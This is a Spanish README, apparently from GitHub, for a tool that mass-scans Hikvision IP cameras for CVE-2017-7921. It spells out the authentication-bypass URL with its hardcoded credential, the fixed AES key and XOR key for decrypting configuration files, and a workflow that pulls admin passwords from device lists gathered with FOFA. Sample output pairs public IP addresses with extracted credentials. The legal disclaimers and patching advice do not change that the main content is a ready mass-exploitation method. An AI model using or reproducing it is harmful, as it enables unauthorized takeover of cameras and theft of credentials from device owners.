
CVE-2017-7921-Research-Toolkit GUI
Se utiliza para probar rápidamente la vulnerabilidad CVE-2017-7921 de Hikvision con la ayuda de FOFA, además de proporcionar la cuenta y contraseña de inicio de sesión, y generar un archivo json.
CVE-2017-7921 Research Toolkit
Declaración de seguridad: esta herramienta está destinada únicamente a investigación de seguridad autorizada y verificación de vulnerabilidades.
Tabla de contenido
- Aviso legal y ético
- Descripción del proyecto
- Características
- Instalación
- Uso
- Resultados
- Recomendaciones de defensa y corrección
- Detalles técnicos
- Agradecimientos
⚖️ Aviso legal y ético
Aviso importante: el uso de esta herramienta implica su aceptación de los siguientes términos
- Pruebas autorizadas únicamente: utilícela solo en sistemas para los que tenga autorización escrita explícita.
- Cumplimiento legal: respete estrictamente la Ley de Seguridad Cibernética y las leyes y regulaciones locales aplicables.
- Divulgación responsable: si encuentra vulnerabilidades, repórtelas al fabricante a través de los canales oficiales.
- Fines educativos: esta herramienta tiene como objetivo concienciar sobre la seguridad de los dispositivos IoT.
- Bajo su propio riesgo: el usuario asume las consecuencias legales derivadas del uso indebido de esta herramienta.
Este proyecto sigue la Política de investigación de seguridad de GitHub y las normas de divulgación del Centro de respuesta de seguridad de Hikvision.
📖 Descripción del proyecto
Herramienta de detección y verificación masiva de la vulnerabilidad de omisión de autenticación CVE-2017-7921 en cámaras IP Hikvision, con soporte para descifrado automático de archivos de configuración y extracción de credenciales.
Objetivos de diseño
- Ayudar a los investigadores de seguridad a evaluar el estado de seguridad de dispositivos a gran escala.
- Proporcionar a los propietarios de los dispositivos la capacidad de autoevaluación.
- Permitir generar informes de recomendaciones de corrección.
- Promover la actualización de seguridad de los dispositivos IoT.
✨ Características
- ✅ Escaneo masivo de listas de dispositivos en formato JSON.
- ✅ Detección concurrente multiproceso (número de hilos configurable).
- ✅ Descarga automática de archivos de configuración cifrados.
- ✅ Descifrado en tiempo real y extracción de credenciales de inicio de sesión.
- ✅ Visualización del progreso del escaneo en tiempo real (tqdm).
- ✅ Guardado automático de resultados como informe JSON.
- ✅ Soporte para reanudar el escaneo tras una interrupción.
🛠️ Instalación
Requisitos del entorno
- Python 3.7 o superior.
- Solo Linux / macOS (algunas funciones están limitadas en Windows).
Instalación de dependencias
git clone https://github.com/[你的用户名]/CVE-2017-7921-Research-Toolkit.git
cd CVE-2017-7921-Research-Toolkit
pip install -r requirements.txt
Contenido de requirements.txt
requests>=2.28.0
pycryptodome>=3.15.0
tqdm>=4.64.0
📊 Uso
1. Preparar el archivo de datos de dispositivos
Cree la carpeta zc/ en el directorio de la herramienta y coloque la lista de dispositivos en formato JSON (un objeto de dispositivo por línea):
mkdir zc
Archivo de ejemplo: devices_2025.json
{"city":"Lisbon","country":"PT","host":"109.50.152.186","link":"http://109.50.152.186:80"}
{"city":"Sao Paulo","country":"BR","host":"200.201.192.75","link":"http://200.201.192.75:8080"}
Descripción de campos:
| Campo | Descripción | Obligatorio |
|---|---|---|
link | Dirección de acceso HTTP/HTTPS del dispositivo | ✅ Sí |
city | Información de la ciudad | ❌ No |
country | Código de país | ❌ No |
org | Organización/ISP | ❌ No |
2. Ejecutar la herramienta de escaneo
python batch_decrypt.py
3. Ejemplo de operación interactiva
════════════════════════════════════════════════════════════════════════════════
海康威视摄像头配置文件漏洞批量扫描工具
════════════════════════════════════════════════════════════════════════════════
可用的JSON文件:
════════════════════════════════════════════════════════════════════════════════
1. devices_2025.json (45,678 字节)
════════════════════════════════════════════════════════════════════════════════
请选择文件编号: 1
已选择文件: devices_2025.json
正在加载设备数据...
待扫描设备总数: 2000
请输入并发线程数 (默认: 5): 10
并发线程数: 10
开始扫描...
已扫描设备总数: 2000
发现漏洞设备数: 127
漏洞设备已保存到: vulnerable_devices.json
📁 Resultados
Al finalizar el escaneo se genera vulnerable_devices.json, que contiene información de todos los dispositivos vulnerables.
Ejemplo de salida:
[
{
"url": "http://109.50.152.186",
"config_url": "http://109.50.152.186/System/configurationFile?auth=YWRtaW46MTEK",
"username": "admin",
"password": "123456",
"city": "Lisbon",
"country": "PT",
"org": "ISP Telecom",
"status": "success"
}
]
🛡️ Recomendaciones de defensa y corrección
Para propietarios de dispositivos
- Actualice el firmware de inmediato: visite el sitio web oficial de Hikvision para descargar la versión más reciente.
- Cambie la contraseña predeterminada: incluso después de la actualización, cambie la contraseña predeterminada de admin.
- Aislamiento de red: despliegue las cámaras en una VLAN independiente y prohíba el acceso directo desde Internet.
- Active la lista blanca de IP: permita únicamente el acceso a la interfaz de administración desde IP de confianza.
Para profesionales de la seguridad
- Confidencialidad de los resultados: no divulgue información detallada de los dispositivos no corregidos.
- Asistencia en la corrección: contacte proactivamente a los propietarios de los dispositivos para ofrecer soporte técnico.
- Informes de cumplimiento: genere informes de evaluación de seguridad acordes con la norma ISO 27001.
🔬 Detalles técnicos
Principio de la vulnerabilidad
- Omisión de autenticación:
/System/configurationFile?auth=YWRtaW46MTEKutiliza credenciales codificadas. - Cifrado débil: el archivo de configuración se cifra con una clave AES-ECB fija.
- Fuga de clave: la clave
279977f62f6cfd2d91cd75b889ce0c9aestá codificada en el firmware.
Proceso de cifrado
- Obtener el archivo de configuración binario cifrado.
- Descifrado AES-ECB (eliminando el primer bloque).
- Ofuscación XOR (clave:
0x73, 0x8B, 0x55, 0x44). - Extracción mediante expresiones regulares de la cuenta admin y los campos de contraseña posteriores.
📝 Licencia
Este software está destinado únicamente a investigación de seguridad autorizada y fines educativos. El usuario debe asegurarse de cumplir con todas las leyes aplicables.
🙏 Agradecimientos
- Agradecemos a Hikvision por responder con prontitud y publicar actualizaciones de firmware.
- Agradecemos a la comunidad de código abierto por los materiales de análisis de vulnerabilidades proporcionados.
- Este proyecto sigue las mejores prácticas de investigación de seguridad IoT.
Última actualización: 2025-01-29 | Versión: v1.0.0 | CVE compatible: CVE-2017-7921